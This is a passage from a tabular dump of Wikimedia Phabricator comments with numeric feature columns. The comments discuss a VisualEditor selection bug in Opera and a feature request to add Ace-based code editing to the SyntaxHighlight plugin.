gonna need a larger workaround..."
208251,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,Related URL: https://gerrit.wikimedia.org/r/61190 (Gerrit Change I4bad882d1d6fb83bcdcfd0de3bfc9af52960c2ff),,,1367082013,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,False,,,-10,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I4bad882d1d6fb83bcdcfd0de3bfc9af52960c2ff)
208245,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"This seems to work:

>>> range = document.getSelection().getRangeAt(0)
Range 
>>> span = document.createElement('span')
<span/>
>>> range.getClientRects()
ClientRectList []
>>> range.surroundContents(span)
undefined
>>> $(span).offset()
{ left: 352, top: 1025 }

Now we just have to substract window.scrollY from the 'top' value and remove the <span> from the DOM again. (And don't call .getClientRects() on that Range again, as it returns a completely bonkers huge list of values.)",,,1367069662,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,7.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,8.0,6.0,0.0,2.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,7.0,3.367816091954023,0.6666666666666666,"This seems to work:

QUOTE
Range 
QUOTE
<span/>
QUOTE
ClientRectList []
QUOTE
undefined
QUOTE
{ left: 352, top: 1025 }

Now we just have to substract window.scrollY from the 'top' value and remove the <span> from the DOM again. (And don't call .getClientRects() on that Range again, as it returns a completely bonkers huge list of values.)"
208240,VisualEditor: ve.ce.Surface.getSelectionRect() throws errors in Opera,"So, what happens is that in Opera, for zero-length ranges (ie, just a caret, no selection):

* .getSelection().getRangeAt(0) returns a Range
* but then .getClientRects() returns an empty ClientRectList
* and .getBoundingClientRect() returns a rectangle with all values being 0",,,1367067995,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-h4j7vw6gh3bn7a3uis4l,task_subcomment,,True,c1,1,True,,,-10,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,2.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,4.285714285714286,0.75,"So, what happens is that in Opera, for zero-length ranges (ie, just a caret, no selection):

* .getSelection().getRangeAt(0) returns a Range
* but then .getClientRects() returns an empty ClientRectList
* and .getBoundingClientRect() returns a rectangle with all values being 0"
49742,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**Author:** `suitongbowgn`

**Description:**
Feature request:

A feature that supports insertion and simple editing of source code snippets in a general article. It may include a simple grammar checking mechanism which checks some fundamental grammatical errors such as having a { without closing it, having a () with a trailing period and nothing else, having solely a pair of brackets, etc.; an indentation correction tool which will perform indentation formatting on the codes; a beautify code tool which will reorganize code formatting, including indentation to make the code more reader-friendly in format.


Features:
* Insert or edit a code block.
* Basic IDE features (perhaps re-use WikiEditor/CodeEditor)
 * Syntax validation (matching quotes/parenthesis/braces etc.)
 * Follow indentation level when breaking lines.
 * Live grammar highlighting.",Lowest,10.0,1366998060,1445531108.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ss5sivrosviwhazfuu4q,task_description,resolved,True,c1,1,False,False,False,-10,,0.5,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.5,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.5,0.0,20.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,6.5,0.0,8.5,0.5,1.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,1.0,5.5,4.0,0.0,0.0,0.0,1.0,0.0,2.5,5.0,0.0,4.5,0.5,0.0,2.0,4.311764705882353,0.7352941176470589,"**Author:** CODE

**Description:**
Feature request:

A feature that supports insertion and simple editing of source code snippets in a general article. It may include a simple grammar checking mechanism which checks some fundamental grammatical errors such as having a { without closing it, having a () with a trailing period and nothing else, having solely a pair of brackets, etc.; an indentation correction tool which will perform indentation formatting on the codes; a beautify code tool which will reorganize code formatting, including indentation to make the code more reader-friendly in format.


Features:
* Insert or edit a code block.
* Basic IDE features (perhaps re-use WikiEditor/CodeEditor)
 * Syntax validation (matching quotes/parenthesis/braces etc.)
 * Follow indentation level when breaking lines.
 * Live grammar highlighting."
550469,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247474 merged by jenkins-bot:
Use Ace editor widget for code input

[[https://gerrit.wikimedia.org/r/247474]]",,,1445528834,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.590909090909091,0.9090909090909091,"Change 247474 merged by jenkins-bot:
Use Ace editor widget for code input

[[GERRIT_URL]]"
550466,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247851 merged by jenkins-bot:
Introduce Ace editor widget

[[https://gerrit.wikimedia.org/r/247851]]",,,1445528829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.8421052631578947,0.8947368421052632,"Change 247851 merged by jenkins-bot:
Introduce Ace editor widget

[[GERRIT_URL]]"
549812,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247851 had a related patch set uploaded (by Esanders):
Introduce Ace editor widget

[[https://gerrit.wikimedia.org/r/247851]]
",,,1445443909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9166666666666665,0.875,"Change 247851 had a related patch set uploaded (by Esanders):
Introduce Ace editor widget

[[GERRIT_URL]]
"
548993,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 247474 had a related patch set uploaded (by Esanders):
WIP Use Ace editor when available

[[https://gerrit.wikimedia.org/r/247474]]
",,,1445350934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,120,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,23.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,12.0,3.769230769230769,0.8846153846153846,"Change 247474 had a related patch set uploaded (by Esanders):
WIP Use Ace editor when available

[[GERRIT_URL]]
"
528692,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"A first step would be putting making an RL module for Ace in core. Each language is a separate JS file so we'd want submodules for each, like we used to do with GeSHi.",,,1442426303,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,115,,5.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,16.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,18.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,3.526315789473684,0.9210526315789473,"A first step would be putting making an RL module for Ace in core. Each language is a separate JS file so we'd want submodules for each, like we used to do with GeSHi."
528666,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,">>! In T49742#1645908, @Esanders wrote:
> I think the best approach would be to convert the editor to a dialog and drop in CodeEditor's existing code editor (Ace), or some equivalent (CodeMirror).

That could work.",,,1442424825,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,115,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,0.875,"QUOTE
QUOTE

That could work."
528665,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"I think the best approach would be to convert the editor to a dialog and drop in CodeEditor's existing code editor (Ace), or some equivalent (CodeMirror).",,,1442424794,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,115,,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,12.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,3.909090909090909,0.8484848484848485,"I think the best approach would be to convert the editor to a dialog and drop in CodeEditor's existing code editor (Ace), or some equivalent (CodeMirror)."
232677,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 114529 had a related patch set uploaded by Jforrester:
[WIP] Add VisualEditor support

https://gerrit.wikimedia.org/r/114529",,,1404758232,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,53,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,30.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,4.6,1.0,"Change 114529 had a related patch set uploaded by Jforrester:
[WIP] Add VisualEditor support

GERRIT_URL"
232671,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Re-opening as this is now unmerged.,,,1404758215,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,53,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Re-opening as this is now unmerged.
232664,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,Marking this also as fixed by gerrit 68615 - congratulations again!,,,1380739898,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.75,1.0,Marking this also as fixed by gerrit 68615 - congratulations again!
232655,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

Yes.

(In reply to comment #19)
> GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23
> September. Has this project been completed?",,,1379521061,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.739130434782609,0.7391304347826086,"**suitongbowgn** wrote:

Yes.

(In reply to comment #19)
QUOTE
QUOTE"
232647,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?",,,1379435009,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9583333333333334,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?"
232639,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

For now no codes from GeSHi are directly reused. I just used them as reference for regex patterns. I said 'port' due to this fact.

(In reply to comment #17)
> (In reply to comment #15)
> > Have you considered using an existing highlighter
> > library, or at least basing your implementation on a existing language spec
> > format (e.g. implementing GeSHi language specs in JS?)
> 
> GeSHi is GPLv2+, whereas VisualEditor is MIT.  So if any GeSHi code is
> reused,
> the authorship and licensing should be made clear.",,,1378765646,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,5.0,11.0,11.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.1904761904761907,0.6349206349206349,"**suitongbowgn** wrote:

For now no codes from GeSHi are directly reused. I just used them as reference for regex patterns. I said 'port' due to this fact.

(In reply to comment #17)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
232634,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"(In reply to comment #15)
> Have you considered using an existing highlighter
> library, or at least basing your implementation on a existing language spec
> format (e.g. implementing GeSHi language specs in JS?)

GeSHi is GPLv2+, whereas VisualEditor is MIT.  So if any GeSHi code is reused, the authorship and licensing should be made clear.",,,1378765153,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,10,,2.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,23.0,5.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,9.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4651162790697674,0.7906976744186046,"(In reply to comment #15)
QUOTE
QUOTE
QUOTE

GeSHi is GPLv2+, whereas VisualEditor is MIT.  So if any GeSHi code is reused, the authorship and licensing should be made clear."
232629,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"**suitongbowgn** wrote:

The highlighter spec is ported from GeSHi's php into js. I didn't find spec for validator so I came up with myself.

(In reply to comment #15)
> Tongbo: Re: your implmementation so far: Is the language spec something
> you've
> come up with yourself? Have you considered using an existing highlighter
> library, or at least basing your implementation on a existing language spec
> format (e.g. implementing GeSHi language specs in JS?)",,,1378509824,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,6.0,13.0,9.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.2264150943396226,0.7169811320754716,"**suitongbowgn** wrote:

The highlighter spec is ported from GeSHi's php into js. I didn't find spec for validator so I came up with myself.

(In reply to comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
232626,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Tongbo: Re: your implmementation so far: Is the language spec something you've come up with yourself? Have you considered using an existing highlighter library, or at least basing your implementation on a existing language spec format (e.g. implementing GeSHi language specs in JS?)",,,1378509073,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,9,,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,12.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,10.0,12.0,4.0,4.0,0.0,0.0,10.0,0.0,0.0,4.0,2.0,10.0,0.0,2.0,0.0,4.615384615384615,0.8269230769230769,"Tongbo: Re: your implmementation so far: Is the language spec something you've come up with yourself? Have you considered using an existing highlighter library, or at least basing your implementation on a existing language spec format (e.g. implementing GeSHi language specs in JS?)"
232623,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,CCing Andre who can give you editbugs.,,,1375196802,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,CCing Andre who can give you editbugs.
232619,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"If you don't have permission to do it yourself, it's probably because you don't have the 'editbugs' right.  Hopefully, someone on this bug can give it you.  If not, ask on IRC.",,,1375163246,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ss5sivrosviwhazfuu4q,task_subcomment,,True,c1,3,True,,,4,,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,11.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,7.0,0.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,16.0,13.0,2.0,0.0,4.0,0.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.2222222222222223,0.6444444444444445,"If you don't have permission to do it yourself, it's probably because you don't have the 'editbugs' right.  Hopefully, someone on this bug can give it you.  If not, ask on IRC."
232613,Provide basic source code editor features in VisualEditor SyntaxHighlight plugin,"Change 68615 had a related patch set uploaded by Jforrester:
Source code editing

